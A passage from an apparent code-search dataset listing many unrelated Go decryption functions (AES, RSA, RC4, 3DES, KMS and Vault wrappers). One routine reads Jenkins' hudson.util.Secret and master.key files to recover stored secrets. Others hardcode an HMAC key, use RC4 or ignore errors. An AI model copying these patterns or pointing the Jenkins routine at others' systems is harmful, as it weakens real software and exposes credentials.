j\n\t}\n\treturn text\n}", "func (e *AgeEncryption) decryptArgs() []string {\n\tvar args []string\n\targs = append(args, \"--decrypt\")\n\tif !e.Passphrase {\n\t\targs = append(args, e.identityArgs()...)\n\t}\n\treturn args\n}", "func DecryptString(key []byte, cryptoText string) (string, error) {\n ciphertext, _ := base64.StdEncoding.DecodeString(cryptoText)\n ciphertext, err:=Decrypt(key, ciphertext)\n if err!=nil{\n return \"\", err\n }\n return fmt.Sprintf(\"%s\", ciphertext), nil\n}", "func GroupDecrypt(encrypted *Encrypted, keyID string, privateKeyPem string) (string, error) {\n\tvar privateKey interface{}\n\tvar err error\n\n\tif encrypted.Mode != \"aes-cbc-256+rsa\" {\n\t\treturn \"\", fmt.Errorf(\"Invalid mode '%s'\", encrypted.Mode)\n\t}\n\n\tif len(privateKeyPem) == 0 {\n\t\treturn \"\", fmt.Errorf(\"Private key pem is 0 bytes\")\n\t}\n\n\t// TODO - check errors\n\tciphertext, _ := Base64Decode([]byte(encrypted.Ciphertext))\n\tiv, _ := Base64Decode([]byte(encrypted.Inputs[\"iv\"]))\n\tencryptedKey, _ := Base64Decode([]byte(encrypted.Keys[keyID]))\n\tprivateKey, err = PemDecodePrivate([]byte(privateKeyPem))\n\tkey, err := Decrypt(encryptedKey, privateKey)\n\tplaintext, err := AESDecrypt(ciphertext, iv, key)\n\treturn string(plaintext), err\n}", "func (i *GPG) Decrypt(\n\tb []byte,\n) ([]byte, error) {\n\treturn i.cli.Decrypt(i.ctx, b)\n}", "func Decrypt(k []byte, crypted string) (string, error) {\n\tif crypted == \"\" || len(crypted) < 8 {\n\t\treturn \"\", nil\n\t}\n\n\tcryptedbytes, err := base64.StdEncoding.DecodeString(crypted[1 : len(crypted)-1])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tivlength := (cryptedbytes[4] & 0xff)\n\tif int(ivlength) > len(cryptedbytes) {\n\t\treturn \"\", errors.New(\"invalid encrypted string\")\n\t}\n\n\tcryptedbytes = cryptedbytes[1:] //Strip the version\n\tcryptedbytes = cryptedbytes[4:] //Strip the iv length\n\tcryptedbytes = cryptedbytes[4:] //Strip the data length\n\n\tiv := cryptedbytes[:ivlength]\n\tcryptedbytes = cryptedbytes[ivlength:]\n\n\tblock, err := aes.NewCipher(k)\n\tif err != nil {\n\t\tfmt.Println(\"Error creating new cipher\", err)\n\t\treturn \"\", err\n\t}\n\tif len(cryptedbytes) < aes.BlockSize {\n\t\tfmt.Println(\"Ciphertext too short\")\n\t\treturn \"\", err\n\t}\n\tif len(cryptedbytes)%aes.BlockSize != 0 {\n\t\tfmt.Println(\"Ciphertext is not a multiple of the block size\")\n\t\treturn \"\", err\n\t}\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(cryptedbytes, cryptedbytes)\n\n\tdecrypted := strings.TrimSpace(string(cryptedbytes))\n\tdecrypted = strings.TrimFunc(decrypted, func(r rune) bool {\n\t\treturn !unicode.IsGraphic(r)\n\t})\n\treturn decrypted, nil\n}", "func Decrypt(cipherText []byte, key []byte, iv []byte) []byte {\n\tplainText, err := getCipher(key).Open(nil, iv, cipherText, nil)\n\tif err != nil {\n\t\tpanic(\"Error decrypting data: \" + err.Error())\n\t}\n\n\treturn plainText\n}", "func decryptConfig(key []byte, secretBlob string) ([]byte, error) {\n\tsecret := &AESSecret{}\n\n\terr := json.Unmarshal([]byte(secretBlob), secret)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\tcipherBlock, err := initBlock()\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\tgcm, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\tplainText, err := gcm.Open(nil, secret.Nonce, secret.CipherText, nil)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\n\treturn plainText, nil\n}", "func decrypt(ciphertext []byte, IV []byte) []byte {\n plaintext, err := aead.Open(nil, IV, ciphertext, nil)\n if err != nil {\n fmt.Fprintln(os.Stderr, \"Error with AES decryption: \" + err.Error())\n os.Exit(1)\n }\n\n return plaintext\n}", "func (m *TripleDesCBC) Decrypt(key, s string) (string, error) {\n\terr := gocrypto.SetDesKey(gocrypto.Md5(key)[0:24])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbsd, err := base64.StdEncoding.DecodeString(strings.Replace(s, kpassSign, \"\", -1))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tacd, err := gocrypto.TripleDesCBCDecrypt(bsd)\n\tif !strings.Contains(string(acd), kpassSign) {\n\t\treturn \"\", errors.New(\"desKey is error\")\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn strings.Replace(string(acd), kpassSign, \"\", -1), err\n}", "func Decrypt() error {\n\treader := bufio.NewReader(os.Stdin)\n\n\tvar repoPath string\n\tvar dbPath string\n\tvar filename string\n\tvar testnet bool\n\tvar err error\n\tfor {\n\t\tfmt.Print(\"Decrypt the mainnet or testnet db?: \")\n\t\tresp, _ := reader.ReadString('\\n')\n\t\tif strings.Contains(strings.ToLower(resp), \"mainnet\") {\n\t\t\trepoPath, err = getRepoPath(false)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfilename = \"mainnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot decrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the daemon at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else if strings.Contains(strings.ToLower(resp), \"testnet\") {\n\t\t\trepoPath, err = getRepoPath(true)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\ttestnet = true\n\t\t\tfilename = \"testnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot decrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the node at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"No comprende\")\n\t\t}\n\t}\n\tfmt.Print(\"Enter your password: \")\n\tbytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\tfmt.Println(\"\")\n\tpw := string(bytePassword)\n\tpw = strings.Replace(pw, \"'\", \"''\", -1)\n\tsqlliteDB, err := Create(repoPath, pw, testnet)\n\tif err != nil || sqlliteDB.Config().IsEncrypted() {\n\t\tfmt.Println(\"Invalid password\")\n\t\treturn err\n\t}\n\tif err := os.MkdirAll(path.Join(repoPath, \"tmp\", \"datastore\"), os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\ttmpDB, err := Create(path.Join(repoPath, \"tmp\"), \"\", testnet)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tinitDatabaseTables(tmpDB.db, \"\")\n\tif err := sqlliteDB.Copy(path.Join(repoPath, \"tmp\", \"datastore\", filename), \"\"); err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\terr = os.Rename(path.Join(repoPath, \"tmp\", \"datastore\", filename), path.Join(repoPath, \"datastore\", filename))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tos.RemoveAll(path.Join(repoPath, \"tmp\"))\n\tfmt.Println(\"Success!\")\n\treturn nil\n}", "func Decrypt(key []byte, cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func Decrypt(key []byte, cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func Initdecrypt(hsecretfile string, mkeyfile string) []byte {\n\n\thudsonsecret, err := ioutil.ReadFile(hsecretfile)\n\tif err != nil {\n\t\tfmt.Printf(\"error reading hudson.util.Secret file '%s':%s\\n\", hsecretfile, err)\n\t\tos.Exit(1)\n\t}\n\n\tmasterkey, err := ioutil.ReadFile(mkeyfile)\n\tif err != nil {\n\t\tfmt.Printf(\"error reading master.key file '%s':%s\\n\", mkeyfile, err)\n\t\tos.Exit(1)\n\t}\n\n\tk, err := Decryptmasterkey(string(masterkey), hudsonsecret)\n\tif err != nil {\n\t\tfmt.Println(\"Error decrypting keys... \", err)\n\t\tos.Exit(1)\n\t}\n\treturn k\n}", "func (r *RSACrypto) Decrypt(cipherText []byte) ([]byte, error) {\n\tblock, _ := pem.Decode(r.privateKey)\n\n\tif block == nil {\n\t\treturn nil, errors.New(\"yiigo: invalid rsa private key\")\n\t}\n\n\tkey, err := x509.ParsePKCS1PrivateKey(block.Bytes)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn rsa.DecryptPKCS1v15(rand.Reader, key, cipherText)\n}", "func __decryptString(key []byte, enc string) string {\n\tdata, err := base64.StdEncoding.DecodeString(enc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsaltHeader := data[:aes.BlockSize]\n\tif string(saltHeader[:7]) != openSSLSaltHeader {\n\t\tlog.Fatal(\"String doesn't appear to have been encrypted with OpenSSL\")\n\t}\n\tsalt := saltHeader[8:]\n\tcreds := __extractOpenSSLCreds(key, salt)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn string(__decrypt(creds.key, creds.iv, data))\n}", "func Decrypt(password string, inputFilePath string, outputFilePath string) error {\n\t_, err := core.Decrypt(password, inputFilePath, outputFilePath)\n\n\treturn err\n}", "func (rc4Opt *RC4Opt) Decrypt(disini []byte) (string, error) {\n\tsrc, err := hex.DecodeString(string(disini))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t/* #nosec */\n\tcipher, err := rc4.NewCipher(rc4Opt.secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdst := make([]byte, len(src))\n\tcipher.XORKeyStream(dst, src)\n\treturn string(dst), nil\n}", "func DecryptString(to_decrypt string, key_string string) string {\n\tciphertext := DecodeBase64(to_decrypt)\n\tkey := DecodeBase64(key_string)\n\t// create the cipher\n\tc, err := rc4.NewCipher(key)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: there was a key size error (my_server.go: DecryptString)\")\n\t\tfmt.Println(err) \n\t}\n\t// make an empty byte array to fill\n\tplaintext := make([]byte, len(ciphertext))\n\t// decrypt the ciphertext\n\tc.XORKeyStream(plaintext, ciphertext)\n return string(plaintext)\n}", "func (c *Client) DecryptPassword() (string, error) {\n\tif len(c.Password) == 0 || len(c.HandleOrEmail) == 0 {\n\t\treturn \"\", errors.New(\"You have to configure your handle and password by `cf config`\")\n\t}\n\treturn decrypt(c.HandleOrEmail, c.Password)\n}", "func (refreshProtocol *RefreshProtocol) Decrypt(ciphertext *ckks.Ciphertext, shareDecrypt RefreshShareDecrypt) {\n\trefreshProtocol.dckksContext.ringQ.AddLvl(ciphertext.Level(), ciphertext.Value()[0], shareDecrypt, ciphertext.Value()[0])\n}", "func (k *Filesystem) Decrypt(ctx context.Context, keyID string, ciphertext []byte, aad []byte) ([]byte, error) {\n\tk.mu.RLock()\n\tdefer k.mu.RUnlock()\n\n\t// Figure out which DEK to use\n\tparts := bytes.SplitN(ciphertext, []byte(\":\"), 2)\n\tif len(parts) < 2 {\n\t\treturn nil, fmt.Errorf(\"invalid ciphertext: missing version\")\n\t}\n\tversion, ciphertext := parts[0], parts[1]\n\n\tversionPath := filepath.Join(k.root, keyID, string(version))\n\tdek, err := os.ReadFile(versionPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read encryption key: %w\", err)\n\t}\n\n\tblock, err := aes.NewCipher(dek)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create cipher from dek: %w\", err)\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create gcm from dek: %w\", err)\n\t}\n\n\tsize := aesgcm.NonceSize()\n\tif len(ciphertext) < size {\n\t\treturn nil, fmt.Errorf(\"malformed ciphertext\")\n\t}\n\tnonce, ciphertextPortion := ciphertext[:size], ciphertext[size:]\n\n\tplaintext, err := aesgcm.Open(nil, nonce, ciphertextPortion, aad)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decrypt ciphertext with dek: %w\", err)\n\t}\n\n\treturn plaintext, nil\n}", "func Decrypt(key []byte, text string) (string, error) {\n\tciphertext, derr := base64.StdEncoding.DecodeString(text)\n\tif derr != nil {\n\t\treturn \"\", derr\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonceSize := aesgcm.NonceSize()\n\n\tif len(ciphertext) < nonceSize {\n\t\treturn \"\", errors.New(\"ciphertext too short\")\n\t}\n\n\tnonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]\n\n\tplaintext, err := aesgcm.Open(nil, nonce, ciphertext, nil)\n\n\treturn string(plaintext), err\n}", "func (f EnvFile) Decrypted(passphrase *validate.Passphrase) EnvFile {\n\tfor kApp, vApp := range f.Apps {\n\t\tfor kProfile, vProfile := range vApp.Profiles {\n\t\t\tfor k, v := range vProfile.Vars {\n\t\t\t\tif v.Encrypted {\n\t\t\t\t\tenv, err := secure.Decrypt(v.Value, passphrase.Password())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tfmt.Println(\"Could not decrypt var:\", k)\n\t\t\t\t\t\tv.Value = \"\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tv.Value = env\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tf.Apps[kApp].Profiles[kProfile].Vars[k] = v\n\t\t\t}\n\t\t}\n\t}\n\n\treturn f\n}", "func (cfg *Config) Decrypt(pw, id string) ([]byte, error) {\n // load the encrypted data entry from disk\n byteArr, err := ioutil.ReadFile(cfg.getOutFilePath(id))\n if err != nil {\n return nil, fmt.Errorf(\"failed to read the encrypted file: %v\", err)\n }\n encFileJSON := &encryptedFileJSON{}\n if err = json.Unmarshal(byteArr, encFileJSON); err != nil {\n return nil, fmt.Errorf(\"failed to parse the encrypted data file: %v\", err)\n }\n\n // decrypt the private key and load it\n privPEM, err := x509.DecryptPEMBlock(cfg.privPem, []byte(pw))\n if err != nil {\n return nil, fmt.Errorf(\"failed to decrypt RSA private key; bad password? : %v\", err)\n }\n privKey, _ := x509.ParsePKCS1PrivateKey(privPEM)\n\n // use the private key to decrypt the ECEK\n ecekBytes, _ := base64.StdEncoding.DecodeString(encFileJSON.ECEK)\n cek, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, privKey, ecekBytes, make([]byte, 0))\n if err != nil {\n return nil, fmt.Errorf(\"failed to decrypt CEK: %v\", err)\n }\n\n // use the CEK to decrypt the content\n cipherBlock, err := aes.NewCipher(cek)\n if err != nil {\n return nil, fmt.Errorf(\"failed to create AES cipher block: %v\", err)\n }\n gcm, err := cipher.NewGCM(cipherBlock)\n if err != nil {\n return nil, fmt.Errorf(\"failed to create GCM cipher: %v\", err)\n }\n nonce, _ := base64.StdEncoding.DecodeString(encFileJSON.Nonce)\n cipherText, _ := base64.StdEncoding.DecodeString(encFileJSON.CipherText)\n plainText, err := gcm.Open(nil, nonce, cipherText, nil)\n if err != nil {\n return nil, fmt.Errorf(\"failed to decrypt the file content: %v\", err)\n }\n\n // delete the encrypted content and return the plaintext\n if err = os.Remove(cfg.getOutFilePath(id)); err != nil {\n return plainText, fmt.Errorf(\"failed to delete the encrypted file: %v\", err)\n }\n return plainText, nil\n}", "func Decrypt(data []byte, passphrase string) ([]byte, error) {\n\tif len(data) == 0 || len(passphrase) == 0 {\n\t\treturn data, fmt.Errorf(\"Length of data is zero, can't decrpyt!\")\n\t}\n\ttempParam := utils.SHA3hash(passphrase)\n\tkey := []byte(tempParam[96:128]) // last 32 characters in hash\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tlog.Println(\"Error while initializing cipher decryption\")\n\t\treturn data, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Println(\"Failed to initialize a new AES GCM while decrypting\")\n\t\treturn data, err\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\tlog.Println(\"Failed to open gcm while decrypting\", err)\n\t\treturn plaintext, err\n\t}\n\treturn plaintext, nil\n}", "func Decrypt(passphrase string, ciphertext []byte) (string, error) {\n\tarr := strings.Split(string(ciphertext), \"-\")\n\tsalt, err := hex.DecodeString(arr[0])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tiv, err := hex.DecodeString(arr[1])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdata, err := hex.DecodeString(arr[2])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey, _, err := deriveKey(passphrase, salt)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tb, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdata, err = aesgcm.Open(nil, iv, data, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(data), nil\n}", "func (aesOpt *AESOpt) Decrypt(chiperText []byte) (string, error) {\n\n\tenc, _ := hex.DecodeString(string(chiperText))\n\n\t//Get the nonce size\n\tnonceSize := aesOpt.aesGCM.NonceSize()\n\tif len(enc) < nonceSize {\n\t\treturn \"\", errors.New(\"The data can't be decrypted\")\n\t}\n\t//Extract the nonce from the encrypted data\n\tnonce, ciphertext := enc[:nonceSize], enc[nonceSize:]\n\n\t//Decrypt the data\n\tplainText, err := aesOpt.aesGCM.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"decryptAES.aesGCM.Open\")\n\t}\n\n\treturn fmt.Sprintf(\"%s\", plainText), nil\n}", "func Decrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := []byte(createHash(passphrase))\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn plaintext, nil\n}", "func (s *Client) Decrypt(ctx context.Context, encrypted []byte, additionalAuthData string) ([]byte, error) {\n\treq := &kmspb.DecryptRequest{\n\t\tName: s.cryptoKeyID,\n\t\tCiphertext: encrypted,\n\t\tAdditionalAuthenticatedData: []byte(additionalAuthData),\n\t}\n\tresp, err := s.client.Decrypt(ctx, req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"kms.Decrypt(%+v) failed: %v\", req.Name, err)\n\t}\n\treturn resp.Plaintext, nil\n}", "func (e SharedSecretEncryptions) Decrypt(oid commontypes.OracleID, k types.OffchainKeyring) (*[SharedSecretSize]byte, error) {\n\tif oid < 0 || len(e.Encryptions) <= int(oid) {\n\t\treturn nil, errors.New(\"oid out of range of SharedSecretEncryptions.Encryptions\")\n\t}\n\n\tdhPoint, err := k.ConfigDiffieHellman(e.DiffieHellmanPoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkey := crypto.Keccak256(dhPoint[:])[:16]\n\n\tsharedSecret := aesDecryptBlock(key, e.Encryptions[int(oid)][:])\n\n\tif common.BytesToHash(crypto.Keccak256(sharedSecret[:])) != e.SharedSecretHash {\n\t\treturn nil, errors.Errorf(\"decrypted sharedSecret has wrong hash\")\n\t}\n\n\treturn &sharedSecret, nil\n}", "func DecryptCiphertext(ct, key, IV []byte) ([]byte, error) {\n\tciph, e := aes.NewCipher(key)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\tn := len(ct)\n\tcbcdec := cipher.NewCBCDecrypter(ciph, IV)\n\tdst := make([]byte, n)\n\tcopy(dst, ct)\n\tcbcdec.CryptBlocks(dst, ct)\n\treturn dst, nil\n}", "func (c *Coffin) Decrypt(data []byte) ([]byte, error) {\n\tswitch c.Mode {\n\tcase CryptCHACHA20:\n\t\treturn c.decryptCHACHA20(data)\n\tcase CryptAES256:\n\t\treturn c.decryptAES256(data)\n\tcase CryptRSA:\n\t\treturn c.decryptRSA(data)\n\tdefault:\n\t\treturn c.decryptCHACHA20(data)\n\t}\n}", "func DecryptByCBCMode(key []byte, cipherText []byte) (string, error) {\n\tif len(cipherText) < aes.BlockSize + sha256.Size {\n\t\tpanic(\"cipher text must be longer than blocksize\")\n\t} else if len(cipherText) % aes.BlockSize != 0 {\n\t\tpanic(\"cipher text must be multiple of blocksize(128bit)\")\n\t}\n\n\tmacSize := len(cipherText) - sha256.Size\n\tmacMessage := cipherText[macSize:]\n\tmac := hmac.New(sha256.New, []byte(\"12345678912345678912345678912345\")) // sha256のhmac_key(32 byte)\n\tmac.Write(cipherText[:macSize])\n\texpectedMAC := mac.Sum(nil)\n\n\tif !hmac.Equal(macMessage, expectedMAC) {\n\t\treturn \"\", errors.New(\"Failed Decrypting\")\n\t}\n\n\tiv := cipherText[:aes.BlockSize]\n\tplainText := make([]byte, len(cipherText[aes.BlockSize:macSize]))\n\tblock, err := aes.NewCipher(key); if err != nil {\n\t\treturn \"\", err\n\t}\n\tcbc := cipher.NewCBCDecrypter(block, iv)\n\tcbc.CryptBlocks(plainText, cipherText[aes.BlockSize:macSize])\n\n\tfmt.Printf(\"MAC: %v\\n\", macMessage)\n\tfmt.Printf(\"IV: %v\\n\", cipherText[:aes.BlockSize])\n\tfmt.Printf(\"Cipher Text: %v\\n\", cipherText[aes.BlockSize:macSize])\n\n\treturn string(UnPadByPkcs7(plainText)), nil\n}", "func AesCbcDecrypt(data string, passphrase string) (string, error) {\n\t// ensure data has value\n\tif len(data) == 0 {\n\t\treturn \"\", errors.New(\"Data to Decrypt is Required\")\n\t}\n\n\t// ensure passphrase is 32 bytes\n\tif len(passphrase) < 32 {\n\t\treturn \"\", errors.New(\"Passphrase Must Be 32 Bytes\")\n\t}\n\n\t// cut the passphrase to 32 bytes only\n\tpassphrase = util.Left(passphrase, 32)\n\n\t// convert data and passphrase into byte array\n\ttext, err := util.HexToByte(data)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey := []byte(passphrase)\n\n\t// create aes cipher\n\tc, err1 := aes.NewCipher(key)\n\n\t// on error stop\n\tif err1 != nil {\n\t\treturn \"\", err1\n\t}\n\n\t// ensure cipher block size appropriate\n\tif len(text) < aes.BlockSize {\n\t\treturn \"\", errors.New(\"Cipher Text Block Size Too Short\")\n\t}\n\n\t// iv needs to be unique, doesn't have to secured,\n\t// it's common to put iv at the beginning of the cipher text\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\n\t// cbc mode always work in whole blocks\n\tif len(text)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"Cipher Text Must Be In Multiple of Block Size\")\n\t}\n\n\t// decrypt\n\tmode := cipher.NewCBCDecrypter(c, iv)\n\tmode.CryptBlocks(text, text)\n\n\t// return decrypted data\n\treturn strings.ReplaceAll(string(text[:]), ascii.AsciiToString(ascii.NUL), \"\"), nil\n}", "func (t *Thread) Decrypt(data []byte) ([]byte, error) {\n\treturn crypto.Decrypt(t.PrivKey, data)\n}", "func (v *DefaultVaultClient) Decrypt(key, ciphertext string) (string, error) {\n\tkv := map[string]interface{}{\"ciphertext\": ciphertext}\n\ts, err := v.Logical().Write(v.decryptEndpoint(key), kv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif s == nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to get decryped value using encryption key %s \", key)\n\t}\n\treturn s.Data[\"plaintext\"].(string), nil\n}", "func Decrypt(value string) (string, error) {\n\tif bytes, err := base64.StdEncoding.DecodeString(value); err != nil {\n\t\treturn \"\", err\n\t} else {\n\t\tif bytes, err := rsa.DecryptPKCS1v15(rand.Reader, privateKey, bytes); err != nil {\n\t\t\treturn \"\", err\n\t\t} else {\n\t\t\treturn string(bytes), nil\n\t\t}\n\t}\n}", "func (a *Age) Decrypt(ctx context.Context, ciphertext []byte) ([]byte, error) {\n\tctx = ctxutil.WithPasswordCallback(ctx, func(prompt string) ([]byte, error) {\n\t\tpw, err := a.askPass.Passphrase(prompt, \"Decrypting\")\n\t\treturn []byte(pw), err\n\t})\n\tids, err := a.getAllIds(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn a.decrypt(ciphertext, ids...)\n}", "func Decrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := createHash(passphrase)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\treturn plaintext, nil\n}", "func DecryptString(cipherText string, key []byte, iv []byte) string {\n\tcipherTextAsBytes, _ := base64.URLEncoding.DecodeString(cipherText)\n\treturn string(Decrypt(cipherTextAsBytes, key, iv))\n}", "func (sb *SecretBackend) Decrypt(encrypted []string) (map[string]string, error) {\n\tif !sb.isConfigured() {\n\t\treturn nil, NewDecryptorError(errors.New(\"secret backend command not configured\"), false)\n\t}\n\n\treturn sb.fetchSecret(encrypted)\n}", "func Decrypt(message, password string) (string, error) {\n\tvar key [32]byte\n\tcopy(key[:], password)\n\tdecryptedMessage, err := DecryptBytes([]byte(message), key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(decryptedMessage), nil\n}", "func decrypt(encodedData string, secret []byte) (string, error) {\r\n\tencryptData, err := base64.URLEncoding.DecodeString(encodedData)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tcipherBlock, err := aes.NewCipher(secret)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\taead, err := cipher.NewGCM(cipherBlock)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonceSize := aead.NonceSize()\r\n\tif len(encryptData) < nonceSize {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonce, cipherText := encryptData[:nonceSize], encryptData[nonceSize:]\r\n\tplainData, err := aead.Open(nil, nonce, cipherText, nil)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\treturn string(plainData), nil\r\n}", "func Decrypt(ciphertext string) (string, error) {\n\treturn defaultEncryptor.Decrypt(ciphertext)\n}", "func Decrypt(filePath string, params params.CliParams) {\n\tcontents := crypto.Decrypt(filePath, params.Key)\n\tnormPathname := journal.NormalizePathname(filePath)\n\n\tfile, err := os.Create(normPathname)\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tw := bufio.NewWriter(file)\n\t_, err = w.WriteString(contents)\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tw.Flush()\n\n\tlog.Info(\"wrote decrypted contents to file: `\" + normPathname + \"'\")\n}", "func (pp *PermuteProtocol) Decrypt(ciphertext *bfv.Ciphertext, shareDecrypt RefreshShareDecrypt, sharePlaintext *ring.Poly) {\n\tpp.context.ringQ.Add(ciphertext.Value()[0], shareDecrypt, sharePlaintext)\n}", "func Decrypt(env 